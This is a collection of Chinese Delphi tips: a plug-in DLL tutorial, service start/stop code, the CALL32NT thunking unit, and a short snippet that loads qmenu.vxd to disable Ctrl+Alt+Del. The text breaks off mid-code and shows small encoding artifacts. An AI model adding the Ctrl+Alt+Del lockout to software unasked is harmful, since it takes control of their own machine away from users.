if LibHandle <> 0 then

begin

DescribeProc := GetProcAddress(LibHandle,

cPLUGIN_DESCRIBE);

if Assigned(DescribeProc) then

begin

DescribeProc(Description);

memPlugins.Lines.Add(Description);

end

else

begin

MessageDlg('File "' + sr.Name + '" is not a valid plug-in.',

mtInformation, [mbOK], 0);

end;

end

else

MessageDlg('An error occurred loading the plug-in "' +

sr.Name + '".', mtError, [mbOK], 0);

end;

LoadPlugin方法展示了插件机制的核心。首先，插件被写成DLL。其次，通过

LoadLibrary API它被动态的加载。一旦DLL被加载，我们就需要一个访问它所包含的过

程和函数的途径。API调用GetProcAddress提供这种机制，它返回一个指向所需例程的

指针。在我们这个简单的演示中，插件仅仅包含一个名为DescribePlugin的过程，由常数

cPLUGIN_DESCRIBE指定（过程名的大小写非常重要，传递到GetProcAddress的名称必须

与包含在DLL中的例程名称完全一致）。如果在DLL中没有找到请求的例程，

GetProcAddree将返回nil，这样就允许使用Assigned函数测定返回值。

为了以一种易用的方式存储指向一个函数的指针，有必要为用到的变量创建一个

特定的类型。注意，GetProcAddress的返回值被存储在一个变量中，DescribeProc，属于

TpluginDescribe类型。下面是它的声明：

type

TPluginDescribe = procedure(var Desc: string); stdcall;

由于过程存在于DLL内部，它通过标准调用转换编译所有导出例程，因此需要使

用stdcall指示字。这个过程使用一个var参数，当过程返回的时候它包含插件的描述。

要调用刚刚获得的过程，只需要使用保存地址的变量作为过程名，后面跟上任何

参数。就我们的例子而言，声明：

DescribeProc(Description)

将会调用在插件中获得的描述过程，并且用描述插件功能的字符串填充Description变量。

构造插件

我们已经创建好了父应用程序，现在该轮到创建我们希望加载的插件了。插件

文件是一个标准的Delphi DLL，所以我们从Delphi IDE中创建一个新DLL工程，保存它。

由于导出的插件函数将用到字符串参数，所以要在工程的uses子句中把Sharemen单元放

在最前面。图4列出的就是我们这个简单插件的工程源文件。

uses

Sharemem, SysUtils, Classes,

main in 'main.pas';

{$E plg.}

exports

DescribePlugin;

begin

end.

虽然插件是一个DLL文件，但是没有必要一定要给它一个.DLL的扩展名。实际上，

一个原因就足以让我们有理由改变扩展名：当父应用程序寻找要加载的文件时，新的扩展

名可以作为特定的文件掩模。通过使用别的扩展名（我们的例子使用了*.plg），你可以

在一定程度上确信应用程序只会载入相应的文件。编译指示字$X可以实现这个改变，也可

以通过Project Options对话框的Application页来设置扩展名。

第一个例子插件的代码是很简单的。图5显示了包含在一个新单元中的代码。注

意，DescribePlugin原型与外壳应用程序中的TpluginDescribe类型相一致，使用附加的

export保留字指定该过程将被导出。被导出的过程名称也将会出现在主工程源代码的

exports段中（在图4中列出）。

unit main;

interface

procedure DescribePlugin(var Desc: string);

export; stdcall;

implementation

procedure DescribePlugin(var Desc: string);

begin

Desc := 'Test plugin v1.00';

end;

end.

在测试这个插件之前，要先把它复制到主应用程序的路径下。最简单的办法就是

在主目录的子目录下创建插件，然后把输出路径设置为主路径（Project Options对话框

的Directories/Conditionals也可以作这个设置）。

调试

现在介绍一下Delphi 3中一个较好的功能：从IDE中调试DLL的能力。在DLL工程

中可以通过Run paramaters对话框指定某程序为宿主应用程序，这就是指向将调用DLL的

应用程序的路径（在我们这个例子中，就是刚刚创建的测试外壳程序）。然后你就可以

在DLL代码中设置断点并且按F9运行它--就像在一个普通应用程序中做的那样。Delphi

会运行指定的宿主程序，并且，通过编译带有调试信息的DLL，把你指引到DLL代码内的

断点处。

---

Delphi 插件（Plug-ins）创建、调试与使用应用程序扩展（续）

关键词：Delphi控件杂项

延伸父应用

这个简单的插件不错，不过它不能做什么有用的事情。第二个例子就是纠正这个问题。

这个插件的目标就是在父应用程序的主菜单中加入一个项目。这个菜单项目，当被单击

时，就会执行插件内的一些代码。图6显示外壳程序的改进版，两个插件都已经加载。在

这个版本的外壳程序中，一个名为Plug-in的新菜单项目，被添加到主菜单中。插件会在

运行时加入一个菜单项。

为了实现这个目的，我们必须在插件DLL中定义第二个接口。现有的DLL只导出了一个过

程，DescribePlugin。第二个插件将声明一个叫做InitPlugin的过程。不过，在这个过程

可以在主应用程序中看到以前，必须修改LoadPlugin来配合它。

图7所示的代码展示了改进的过程。

procedure TfrmMain.LoadPlugin(sr: TSearchRec);

var

Description: string;

LibHandle: Integer;

DescribeProc: TPluginDescribe;

InitProc: TPluginInit;

begin

LibHandle := LoadLibrary(Pchar(sr.Name));

if LibHandle <> 0 then

begin

// 查找 DescribePlugin.

DescribeProc := GetProcAddress(LibHandle,

cPLUGIN_DESCRIBE);

if Assigned(DescribeProc) then

begin

// 调用 DescribePlugin.

DescribeProc(Description);

memPlugins.Lines.Add(Description);

// 查找 InitPlugin.

InitProc := GetProcAddress(LibHandle, cPLUGIN_INIT);

if Assigned(InitProc) then

begin

// 调用 InitPlugin.

InitProc(mnuMain);

end;

end

else

begin

MessageDlg('File "' + sr.Name + '" is not a valid plugin.',

mtInformation, [mbOK], 0);

end;

end

else

begin

MessageDlg('An error occurred loading the plugin "' +

sr.Name + '".', mtInformation, [mbOK], 0);

end;

end;

如你所见，当GetProcAddress第一次查找调用描述过程之后，又调用了一次

GetProcAddress。这一次，我们要寻找的是常量cPLUGIN_INIT，定义如下：

const

cPLUGIN_INIT = 'InitPlugin';

返回值存储在TpluginInit类型的变量中，定义如下：

type

TPluginInit = procedure(ParentMenu: TMainMenu); stdcall;

当InitPlugin方法被执行时，父应用程序的主菜单被当作一个参数传递给它。这个过程

可以按照自己的意愿修改菜单。由于所有GetProcAddress的返回值都用assigned测试，

新版本的LoadPlugin过程仍然会加载不包含InitPlugin过程的第一个插件。在这个过程

中第一次调用寻找DescribePlugin方法会通过，第二次寻找InitPlugin会无响应失败。

现在新的接口已经定义好了，可以为新的InitPlugin方法编写代码了。像原先一样，

新插件的实现代码存在于一个单独的单元中。图8显示了修改过的包含InitPlugin方法

的main.pas。

unit main;

interface

uses Dialogs, Menus;

type

THolder = class

public

procedure ClickHandler(Sender: TObject);

end;

procedure DescribePlugin(var Desc: string);

export; stdcall;

procedure InitPlugin(ParentMenu: TMainMenu);

export; stdcall;

var

Holder: THolder;

implementation

procedure DescribePlugin(var Desc: string);

begin

Desc := 'Test plugin 2 - Menu test';

end;

procedure InitPlugin(ParentMenu: TMainMenu);

var

i: TMenuItem;

begin

// 创建新菜单项.

i := NewItem('Plugin &Test', scNone, False, True,

Holder.ClickHandler, 0, 'mnuTest');

ParentMenu.Items[1].Add(i);

end;

procedure THolder.ClickHandler;

begin

ShowMessage('Clicked!');

end;

initialization

Holder := THolder.Create;

finalization

Holder.Free;

end.

很明显，对原始插件的第一个改变就是增加了InitPlugin过程。像原先一样，带有

export关键字的原型被加入到单元顶端的列表中，过程名也被加入到工程源代码的

exports子句列表中。这个过程使用NewItem函数创建一个新的菜单项，返回值是TmenuItem

对象。新菜单项通过下列语句被加入到应用程序主菜单中：

ParentMenu.Items[1].Add(I);

在测试外壳主菜单上的Items[1]是菜单项Plug-in，所以这个语句在Plugin菜单条上添

加一个叫Plug-in Test的菜单项。

为了处理对新菜单项的响应，作为它的第五个参数，NewItem可以接受一个TNotifyEvent

类型的过程，这个过程将在菜单项被点击时调用。不幸的是，按照定义，这种类型的过程

是一个对象方法，然而在我们的插件中并没有对象。如果我们想用通常的指针来指向函数，

那么得到的将只会是Delphi编译器的抱怨。所以，唯一的解决办法就是创建一个处理菜单

点击的对象。这就是Tholder类的用处。它只有一个方法，是一个叫做ClickHandler的过程。

一个叫做Holder的全局变量，在修改过的main.pas的var段中被声明为Tholder类型，并且

在单元的initialization段中被创建。现在我们就有一个对象了，我们可以拿它的方法

（Holder.ClickHandler）当作NewItem函数的参数。

搞了这一通，ClickHandler除了显示一个“Clicked!”消息对话框以外什么以没干。也

许这不怎么有趣，不过它仍然证明了一点：插件DLL成功的修改了父应用的主菜单，表现

了它的新用途。并且如同第一个例子一样，不管这个插件在不在应用程序都能执行。

由于我们创建了一个对象来处理菜单点击，那么在不再需要这个插件时，就要释放这个

对象。修改后的单元中会在finalization段中处理这件事情。Finalization端时与

initialization段相对应的，如果前面有一个initialization段，那么在应用程序终止时

finalization段一定会得到执行。把下面的语句

Holder.Free

加到finalization段中，以确保Holder对象会被正确的释放。

显而易见，虽然这个插件只是修改了外壳应用的主菜单，但是它可以轻易地操纵传递

到InitPlugin过程中的任何其他对象。如果有必要，插件也可以打开自己的对话框，向

列表框（List boxes）和树状视图（tree views）中添加项目，或者在画布（canvas）

中绘画。

事件驱动的插件

到现在为止我们所描述的技术可以产生一种通用的扩展应用程序的方法。通过增加新菜

单、窗体和对话框，就可以实现全新的功能而不必对父应用做任何修改。不过仍然有一个

限制：这只是一种单侧（one-sided）机制。正如所看到的，系统依赖用户的某些操作才

能启动插件代码，比如点击菜单或者类似的动作。代码运行起来以后，又要依靠另外一个

用户动作来停止它，例如，关闭插件可能已经打开的窗体。克服这种缺陷的一种可行的方

法就是使插件可以响应父应用中的动作--模仿在Delphi中工作地很好的事件驱动编程模

型的确有效。

在最后一个例子插件中，我们将创建一种机制，插件可以藉此响应父应用中产生的事件。

通常情况下，可以通过判定需要触发哪些事件、在父应用中为每个事件创建一个Tlist对象

来实现。然后每个Tlist对象都被传递到插件的初始化过程中，如果插件想在某个事件中

执行动作，它就把负责执行的函数地址加入到对应的TList中。父应用在适当的时刻循环

这些函数指针的列表，按次序调用每个函数。通过这种方法，就为多个插件在同一事件中

执行动作提供了可能。

应用程序产生的事件完全依赖于程序已确定的功能。例如，一个TCP/IP网络应用程序可能

希望通过TclientSocket的onRead事件通知插件数据抵达，而一个图形应用程序可能对调

色板的变化更感兴趣。

为了说明事件驱动的插件应答的概念，我们将创建一个用于限制主窗口最小尺寸的插件。

这个例子有点儿造作，因为把这个功能做到应用程序里边会比这简单的多。不过这个例子

的优点在语容易编码而且易于理解，而这正是本文想要做到的。

很明显，我们要做的第一件事情就是决定到底要产生哪些事件。在本例中，答案很简单：

要限制一个应用程序窗口的尺寸，有必要捕获并且修改Windows消息WM_GETMINMAXSINFO。

因此，要创建一个完成这项功能的插件，我们必须捕获这个消息并且在这个消息处理器中

调用插件例程。这就是我们要创建的事件。

接下来我们要创建一个TList来处理这个事件。在主窗体的initialization段中将会创建

lstMinMax对象，然后，创建一个消息处理器来捕获Windows消息WM_GETMINMAXINFO。图9中

的代码显示了这个消息处理器。

{ 捕获 WM_GETMINMAXINFO. 为每个消息调用插件例程. }

procedure TfrmMain.MinMaxInfo(var msg: TMessage);

var

m: PMinMaxInfo; file://在 Windows.pas 中定义.

i: Integer;

begin

m := pointer(msg.Lparam);

for i := 0 to lstMinMax.count -1 do begin

TResizeProc(lstMinMax[i])(m.ptMinTrackSize.x,

m.ptMinTrackSize.y);

end;

end;

外壳应用的LoadPlugin过程必须再次修改以便调用初始化例程。这个新初始化函数把

我们的TList当作参数接受，在其中加入修改消息参数的函数地址。图10显示了LoadPlugin

过程的最终版本，它可以执行到目前为止所讨论的全部几个插件的初始化工作。

{ 加载指定的插件DLL. }

procedure TfrmMain.LoadPlugin(sr: TSearchRec);

var

Description: string;

LibHandle: Integer;

DescribeProc: TPluginDescribe;

InitProc: TPluginInit;

InitEvents:TInitPluginEvents;

begin

LibHandle:=LoadLibrary(Pchar(sr.Name));

ifLibHandle<>0then

begin

//查找DescribePlugin.

DescribeProc:=GetProcAddress(LibHandle, cPLUGIN_DESCRIBE);

if Assigned(DescribeProc) then

begin

// 调用 DescribePlugin.

DescribeProc(Description);

memPlugins.Lines.Add(Description);

file://查找InitPlugin.

InitProc := GetProcAddress(LibHandle, cPLUGIN_INIT);

if Assigned(InitProc) then

begin

file://调用InitPlugin.

InitProc(mnuMain);

end;

// 为第三方插件查找 InitPluginEvents

InitEvents := GetProcAddress(LibHandle,

cPLUGIN_INITEVENTS);

if Assigned(InitEvents) then

begin

// 调用 InitPlugin.

InitEvents(lstMinMax);

end;

end

else

begin

MessageDlg('File "' + sr.Name +

'" is not a valid plugin.',

mtInformation, [mbOK], 0);

end;

end

else

begin

MessageDlg('An error occurred loading the plugin "' +

sr.Name + '".', mtInformation, [mbOK], 0);

end;

end;

图 10: LoadPlugin 的最终版本

最后一步是创建插件自身。如同前面的几个例子，插件展示一个标志自身的描述过程。

它也带有一个初始化例程，在本例中只是接受一个TList作为参数。最后，它还包含一个

没有引出（Export）的历程，叫做AlterMinTrackSize，它将修改传递给它的数值。图11

显示了最终插件的完整代码。

unit main;

interface

uses Dialogs, Menus, classes;

procedure DescribePlugin(var Desc: string);

export; stdcall;

procedure InitPluginEvents(lstResize: TList);

export; stdcall;

procedure AlterMinTrackSize(var x, y: Integer); stdcall;

implementation

procedure DescribePlugin(var Desc: string);

begin

Desc := 'Test plugin 3 - MinMax';

end;

procedure InitPluginEvents(lstResize: TList);

begin

lstResize.Add(@AlterMinTrackSize);

end;

procedure AlterMinTrackSize(var x, y: Integer);

begin

x := 270;

y := 220;

end;

end.

InitPluginEvents过程是这个插件的初始化例程。它接受一个TList作为参数。这个

TList就是在父应用程序中创建的保存相应函数地址的列表。下面的语句：

lstResize.Add(@AlterMinTrackSize);

把AlterMinTrackSize函数的地址加入到了这个列表中。它被声明为类型stdcall以便

与其他过程相配，不过用不着export指示字。由于函数被直接通过它的地址调用，所以也

就没有必要按照通常的方式把它从DLL中引出。

所以，事件序列如下所列：

1、 在应用程序初始化时，创建一个TList对象。

2、 在启动时这个列表被传递到插件的初始化过程InitPluginEvents中。

3、 插件过程把一个过程的地址加入到列表中。

4、 每次窗口大小改变时所产生的Windows消息WM_GETMINMAXINFO被我们的应用程序所捕获。

5、 该消息被我们的消息处理器TfrmMain.MainMaxInfo所处理，见图10。

6、 消息处理器遍历列表并调用它所包含的函数，把当前的X和Y最小窗口尺寸作为参数传递

。要注意，TList类只是存储指针，所以如果想用保存的地址做些什么事情的话，我们必须

把指针转换成所需要的类型--在本例中，要转换成TresizeProc。

TResizeProc = procedure (var x, y: Integer); stdcall;

7、 插件过程AlterMinTrackSize（列表中的指针所指向的），接受X和Y值作为可变的var

参数并且修改它们。

8、 控制权返回到父应用的消息处理器，按照最小窗口尺寸的新值继续运行下去。

9、 应用程序退出时TList会在主代码的finalization段被释放。

结论

使用该体系结构时，可能利用Delphi提供的package功能是个不错的主意。在通常情况

下，我不是一个分割运行时模块的狂热爱好者，但是当你认为任一包含大量代码的Delphi

DLL超过200KB时，它就开始变得有意义了。

这篇文章应该还是有些用处的，至少它可以让你思考一些程序设计方面的问题，比如

如何让它变得更加灵活。我知道如果我在以前的应用程序中使用一些这种技术的话，我就

可以省掉在修改程序方面的好多工作。我并不想把插件作为一种通用的解决方案。很明显，

有些情况下额外的复杂度无法验证其正确性，或者应用程序压根儿就不打算把自身搞成

几块可扩展的单元。还有一些其它的方法也可以达成同样的效果。Delphi自身提供了一个

接口来创作能集成到IDE中的模块，比起我所说明的技术这种方法更加面向对象（或者说

更“干净”），而我也确信你可以在自己的应用中模仿这一技术。在运行时加载Delphi包

也不是做不到的。探索一下这种可能性吧。

[本文所介绍的技术在Delphi 4下工作的很好。实际上，Delphi 4增加了工程选项，使

这类应用程序加强DLL（application-plus-DLL）的开发变得更加容易了。]


调用一个VxD

qmenu.vxd用于屏蔽Ctrl+alt+del。

var

vxdhandle :thandle;

begin

vxdhandle :=createfile('\\.\qmenu.vxd',0,0,nil,0,file_flag_overlapped+file_flag_delete_on_close,null);

end;

VxdHandle=CreateFile("\\.\QMENU.VXD",0,0,NULL,0,FILE_FLAG_OVERLAPPED|FILE_FLAG_DELETE_ON_CLOSE,NULL);

就可以了，这句执行后ctrl+atl+del已经失效了

在退出程序时一定要用CloseHandle(VxdHandle)

因为程序不会自动关闭VxdHandle

delphi5下面这样

var

vxdhandle :thandle;

begin

vxdhandle :=createfile('\\.\qmenu.vxd',0,0,nil,0,file_flag_overlapped+file_flag_delete_on_close,null);

end;

附件>>>> qmenu.rar


启动和停止服务

uses WinSvc,SvcMgr !

Here's example I made. Hope it helps. "ServerServiceName" is the Name of

service to control.

procedure StartServiceExecute(Sender: TObject);

Var

SCH: SC_HANDLE;

SvcSCH: SC_HANDLE;

arg: PChar;

begin

SCH:= OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);

If SCH=0 then

Begin

MessageDlg('Error: OpenSCManager', mtError, [mbOK], 0);

Exit;

End;

Screen.Cursor:= crHourGlass;

try

SvcSCH:= OpenService(SCH, PChar(ServerServiceName), SERVICE_ALL_ACCESS);

If SvcSCH=0 then

Begin

MessageDlg('Error: OpenService', mtError, [mbOK], 0);

Exit;

End;

try

arg:= nil;

If Not StartService(SvcSCH, 0, arg) then

Begin

Case GetLastError of

ERROR_ACCESS_DENIED :MessageDlg('The specified handle

was not opened with SERVICE_START access.', mtError, [mbOK], 0);

ERROR_INVALID_HANDLE :MessageDlg('The specified handle

is invalid.', mtError, [mbOK], 0);

ERROR_PATH_NOT_FOUND :MessageDlg('The service binary

file could not be found.', mtError, [mbOK], 0);

ERROR_SERVICE_ALREADY_RUNNING :MessageDlg('An instance of the

service is already running.', mtError, [mbOK], 0);

ERROR_SERVICE_DATABASE_LOCKED :MessageDlg('The database is

locked.', mtError, [mbOK], 0);

ERROR_SERVICE_DEPENDENCY_DELETED :MessageDlg('The service depends

on a service that does not exist or has been marked for deletion.', mtError,

[mbOK], 0);

ERROR_SERVICE_DEPENDENCY_FAIL :MessageDlg('The service depends

on another service that has failed to start.', mtError, [mbOK], 0);

ERROR_SERVICE_DISABLED :MessageDlg('The service has been

disabled.', mtError, [mbOK], 0);

ERROR_SERVICE_LOGON_FAILED :MessageDlg('The service could

not be logged on. This error occurs if the service was started from an

account that does not have the "Log on as a service" right.', mtError,

[mbOK], 0);

ERROR_SERVICE_MARKED_FOR_DELETE :MessageDlg('The service has been

marked for deletion.', mtError, [mbOK], 0);

ERROR_SERVICE_NO_THREAD :MessageDlg('A thread could not

be created for the service.', mtError, [mbOK], 0);

ERROR_SERVICE_REQUEST_TIMEOUT :MessageDlg('The process for the

service was started, but it did not call StartServiceCtrlDispatcher, or the

thread that called StartServiceCtrlDispatcher may be blocked in a control

handler function.', mtError, [mbOK], 0);

Else MessageDlg('Error:

StartService', mtError, [mbOK], 0);

End;{CASE}

End;

CheckServiceState;

finally

CloseServiceHandle(SvcSCH);

end;

finally

Screen.Cursor:= crDefault;

CloseServiceHandle(SCH);

end;

end;

procedure StopServiceExecute(Sender: TObject);

Var

SCH: SC_HANDLE;

SvcSCH: SC_HANDLE;

ss: TServiceStatus;

begin

SCH:= OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);

If SCH=0 then

Begin

MessageDlg('Error: OpenSCManager', mtError, [mbOK], 0);

Exit;

End;

Screen.Cursor:= crHourGlass;

try

SvcSCH:= OpenService(SCH, PChar(ServerServiceName), SERVICE_ALL_ACCESS);

If SvcSCH=0 then

Begin

MessageDlg('Error: OpenService', mtError, [mbOK], 0);

Exit;

End;

try

If Not ControlService(SvcSCH, SERVICE_CONTROL_STOP, ss) then

Begin

Case GetLastError of

ERROR_ACCESS_DENIED :MessageDlg('The specified

handle was not opened with the necessary access.', mtError, [mbOK], 0);

ERROR_DEPENDENT_SERVICES_RUNNING :MessageDlg('The service cannot

be stopped because other running services are dependent on it.', mtError,

[mbOK], 0);

ERROR_INVALID_HANDLE :MessageDlg('The specified

handle was not obtained using CreateService or OpenService, or the handle is

no longer valid.', mtError, [mbOK], 0);

ERROR_INVALID_PARAMETER :MessageDlg('The requested

control code is undefined.', mtError, [mbOK], 0);

ERROR_INVALID_SERVICE_CONTROL :MessageDlg('The requested

control code is not valid, or it is unacceptable to the service.', mtError,

[mbOK], 0);

ERROR_SERVICE_CANNOT_ACCEPT_CTRL :MessageDlg('The requested

control code cannot be sent to the service because the state of the service

is SERVICE_STOPPED, SERVICE_START_PENDING, or SERVICE_STOP_PENDING.',

mtError, [mbOK], 0);

ERROR_SERVICE_NOT_ACTIVE :MessageDlg('The service has not

been started.', mtError, [mbOK], 0);

ERROR_SERVICE_REQUEST_TIMEOUT :MessageDlg('The process for the

service was started, but it did not call StartServiceCtrlDispatcher, or the

thread that called StartServiceCtrlDispatcher may be blocked in a control

handler function.', mtError, [mbOK], 0);

ERROR_SHUTDOWN_IN_PROGRESS :MessageDlg('The system is

shutting down.', mtError, [mbOK], 0);

Else MessageDlg('Error:

ControlService', mtError, [mbOK], 0);

End;

End;

CheckServiceState;

finally

CloseServiceHandle(SvcSCH);

end;

finally

Screen.Cursor:= crDefault;

CloseServiceHandle(SCH);

end;

end;

如果出现编译错误，请删除CheckServiceState则一行代码，这个对你没有什么用！可以删除的。


在16位中调用32位DLL

Q: How do I use a 32 bit DLL with 16 bit Delphi?

A: Here is something that I got from compuserve that looks good:

CALL32nt.pas: Library for Delphi/TPW/BPW to call 32 bit functions in Windows NT or Windows 95

Adapted to Pascal by Christian Ghisler from CALL32.DLL, a DLL for Visual Basic written and placed in the Public Domain by Peter Golde

This unit is placed in the public domain. Please feel free to redistribute as you wish. No guarantees are made as to its suitability or usefulness, and no support can be provided.

To call a function in a 32-bit DLL, follow these steps:

1. Declare the function you wish to call. Declare it in the ordinary fashion, with the following exceptions:

> Declare it as a function variable > Add an additional argument at the end, of type Longint:

For example, if you are calling the function: (C code)

GetWindowText(HWND hwnd, LPSTR lpsz, int cch)

declare it as follows (remember that ints and all handles are 32 bits, so use a Longint):

var GetWindowText:function(hwnd:Longint;lpsz:PChar;cch:longint;id:Longint):Longint;

2. Each function needs an identifier to distinguish the function from other called functions. Declare this identifier in a var block.

For the above example:

var id_GetWindowText:longint;

3. In the initialization section of your application, set the address of the called function to the address of Call32:

@GetWindowtext:=@Call32;

4. Also in the initialization section of your application, declare the actual library and name of the function you

want to call with the Declare32 function. Pass it the name of the function (CASE SENSITIVE!!!), the library name, and a string describing the argument types.

Each letter in the string declares the type of one argument, and should be either "i" for a 32-bit integer or handle

type, "p" for any pointer type, or "w" for an HWND parameter to which you want to pass a 16-bit HWND and have it be automatically converted to a 32-bit HWND. Save the return value of Declare32 in a global variable to pass as the last parameter to the function you declared earlier. So, in continuing the example, you would call:

id_GetWindowText:=Declare32('GetWindowText','user32','wpi');

(As a side note, this more properly would be declared as 'GetWindowTextA', since this is the real exported name. However, Declare32 will automatically add an 'A' to the end of a function name if necessary.)

To call the function, you would call:

cbCopy:=GetWindowText(hwnd, sz, cb, id_GetWindowText);

It is important to use the correct data types when calling DLL functions. There are two important points to pay

attention to when using CALL32NT.PAS.

First, only 32-bit integers can be passed to a DLL procedure. Since virtually all 32-bit functions take int, UINT, LONG, DWORD, or HANDLE parameters, which are all 32 bits, this is not a major restriction. However, you must remember to always declare function arguments as Longint, not Integer.

Second, 16-bit handles and 32-bit handles are not interchangeable. For example, a 16-bit bitmap handle that you get from calling a 16-bit DLL or from the Delphi/TPW environment cannot be passed to a 32-bit function expecting a bitmap handle. Similarly, a 32-bit handle obtained from a 32-bit function cannot be passed to a 16- bit DLL. The only exception is window handles (HWND). If you declare a function parameter with the "w" letter in the argument description string passed to Declare32, the corresponding parameter will be automatically converted from a 16-bit HWND to a 32-bit HWND when the call is made. You must still declare the argument as a LONG. This is convenient, for example, when passing the value returned by the "handle" property of a form/control to a 32-bit DLL function. Only windows created by your application can be translated.

The following is a summary of data types:

C data type Type specified in Declare Character for Declare32

int, UINT Longint i

LONG, DWORD Longint i

HANDLE Longint i

WORD, short not supported

HWND Longint w (i for no 16->32 translation)

LPSTR PChar p

LPLONG, LPDWORD,

LPUINT, int FAR * VAR x:Longint p

LPWORD VAR x:Word p

Note on Declare32 function names: Declare32 will automatically try three different names for the function name you pass in. First, it uses the exact name you pass in. If it doesn't find that function name, it converts the name to the stdcall decorated name convention by adding an underscore at the beginning and adding "@nn" at the end, where "nn" is the number of bytes of arguments. If it doesn't find that name, it adds an "A" to the end of the original name to try the Win32(R) ANSI function calling convention.

If there occurs an error in Declare32, the returned id will be less than 0. Also, the variable Call32NTError will be set, so you only have to check one variable to check that all went well. You can use this variable to distinguish between Windows 3.1 and Windows NT/95: if Call32NTError is false, you can use the declared 32-bit functions, otherwise you must use 16-bit replacement functions. This allows you to write programs which work in both 16 and 32 bit environments.

If you have to pass a record containing a pointer, you must use the function GetVDMPointer32W to create a 0:32 pointer from your 16:16 pointer.

CALL32NT requires the Microsoft Windows NT operating system or Windows 95 Preview or later to perform its task. The program will also run in Win 3.1, but of course the functions will not work.

Unit Call32nt;

{Delphi/TPW/BPW Unit to call 32-bit functions from 16 bit programs}

{Written in Turbo Pascal for Windows 1.5 /Delphi}

{By Christian Ghisler, CIS: 100332,1175 }

{Released to the public domain on June 14,1995 }

{$W-}

{No Windows Stack frame!}

{$R-}

{No range checking!}

{

Translation by Christian Ghisler, from:

//----------------------------------------------------------

// CALL32.C

//

// This creates a DLL for 16-bit Visual Basic programs to

// call 32-bit DLLs on Windows NT 3.1. It uses the

// Generic Thunks feature of the WOW subsystem on Windows

// NT to load and call 32 bit DLLs. This file should

// be compile into a 16-bit DLL.

//

// Writted by Peter Golde.

//----------------------------------------------------------

}

interface

uses wintypes,

winprocs,

{$ifdef ver80}sysutils {$else} strings {$endif};

const Call32NTError:boolean=false;

type tPROC32ENTRY=record

hinst:longint; { 32-bit instance handle of library }

lpfunc:tfarproc; { 32-bit function address of function }

dwAddrXlat, { bit mask of params: 1 indicates arg is address }

dwHwndXlat, { bit mask of params: 1 indicates arg is 16-bit hwnd }

nParams:longint; { number of parameters }

end;

pPROC32ENTRY=^tPROC32ENTRY;

tPROC32LIST=array[0..0] of tPROC32ENTRY;

pPROC32LIST=^tPROC32LIST;

{ rgProc32Entry points to an array of PROC32ENTRY functions, which

is grown as needed. The value returned by Declare32 is an

index into this array.}

const

cRegistered:integer=0; { number of registered functions. }

cAlloc:integer=0; { number of alloced PROC32ENTRY structures. }

rgPROC32ENTRY:pPROC32LIST=nil; { array of PROC32ENTRY structures. }

CALLOCGROW=10; { number of entries to grow rgProc32Entry by}

rgProc32handle:thandle=0; { Handle auf globalen Speicherbereich f黵 rgProc32Entry }

{ These are the addresses of the Generic Thunk functions in

the WOW KERNEL.}

fGotProcs:bool=FALSE; { Did we successfully get the addresses? }

var

Callproc32W:function (address:pointer;n,c:longint):longint;

FreeLibrary32W:function(handle:longint):bool;

GetProcAddress32W:function(module:longint;funcname:pchar):pointer;

LoadLibraryEx32W:function(libname:pchar;a,b:longint):longint;

lpvGetLastError:function:pchar;

lpvGetCapture:pointer;

procedure Call32(iProc:longint);

function Declare32(lpstrName,lpstrLib,lpstrArg:pchar):longint;

function GetVDMPointer32W(name:pchar;Length:word):longint; {Get 32-bit pointer from 16-bit pointer and length}

implementation

{/-----------------------------------------------------

// XlatHwnd

// Translates a 16-bit HWND into a 32-bit HWND.

// The HWND must be one in our 16-bit process.

// NULL is translated to NULL and doesn't cause

// and error.

//

// Unfortunately, WOW does not export a function

// for doing this, so our procedure is as follows:

// We do 16-bit SetCapture call to the window

// to set the capture, and then a 32-bit GetCapture

// call to get the 32-bit equivalent handle. The

// capture is then restored to what it was beforehand.

//

// May cause VB runtime error, and hence never return.

//-----------------------------------------------------}

procedure XlatHwnd(var phwnd:longint);

var hwnd16,

hwndCapturePrev:word;

hwnd32,

hinstUser:longint;

begin

hwnd16:=LOWORD(phwnd); { 16-bit hwnd }

{ Check for valid 16-bit handle. }

if (phwnd<>word(hwnd16)) then exit;

if (hwnd16<>0) and not IsWindow(hwnd16) then exit;

{ Get Address of 32-bit GetCapture }

if (@lpvGetCapture=nil) then begin

hinstUser:=LoadLibraryEx32W('user32', 0, 0);

if (hinstUser<>0) then begin

lpvGetCapture:=GetProcAddress32W(hinstUser, 'GetCapture');

FreeLibrary32W(hinstUser);

end;

if (@lpvGetCapture=nil) then exit;

end;

{/ Set capture to window, get capture to get 32-bit handle.

// Be sure to restore capture afterward.

// NULL isn't translated }

if (hwnd16<>0) then begin

hwndCapturePrev:=SetCapture(hwnd16);

hwnd32:=CallProc32W(lpvGetCapture,0,0);

if (hwndCapturePrev<>0) then

SetCapture(hwndCapturePrev)

else

ReleaseCapture;

if (hwnd32=0) then exit;

end;

phwnd:=hwnd32;

end;

{/-----------------------------------------------------

// MungeArgs

// Modify the args array so it can be passed to

// to CallProc32W. This uses the PROC32ENTRY structure

// to set up the arg list correctly on the stack

// so CallProc32W can be call. HWND translation is

// performed. The frame is changed as follows:

// In: Out:

// unused number of params

// dwArgs-> unused address xlat mask

// PROC32ENTRY index 32-bit function address.

// argument argument, possible HWND xlated

// argument argument, possible HWND xlated

// ... ...

//-----------------------------------------------------}

type plongint=^longint;

pfarproc=^tfarproc;

procedure MungeArgs(dwArgs:longint);

var pentry:pPROC32ENTRY;

iArg:integer;

dwHwndXlat:longint;

begin

pentry:=@rgProc32Entry^[plongint(dwArgs+4)^];

iArg:=2;

plongint(dwArgs-4)^:=pentry^.nParams;

plongint(dwArgs)^:=pentry^.dwAddrXlat;

pfarproc(dwArgs+4)^:=pentry^.lpfunc;

dwHwndXlat:=pentry^.dwHwndXlat;

while (dwHwndXlat<>0) do begin

if (dwHwndXlat and 1)<>0 then

XlatHwnd(plongint(dwArgs+4*iArg)^);

inc(iArg);

dwHwndXlat:=dwHwndXlat shr 1;

end;

end;

{/-----------------------------------------------------

// Call32

// This function is called by applications directly.

// Arguments to the function are also on the stack

// (iProc is the PROC32ENTRY index). We correctly

// set up the stack frame, then JUMP to CallProc32W,

// which eventually returns to the user.

//-----------------------------------------------------}

var dest:tfarproc; {Destination for jump back!}

var addit:word; {value to add to sp to restore stack pointer}

var _sp,_bp:word;

procedure Call32(iProc:longint);

begin

if iProc<0 then begin {Procedure is invalid -> stop execution!}

if messagebox(0,'Error calling 32 bit function, continue?','Call32',

mb_yesno or mb_iconquestion)=idno then halt(1);

addit:=(-iProc) shl 2; {4 more for id!}

asm

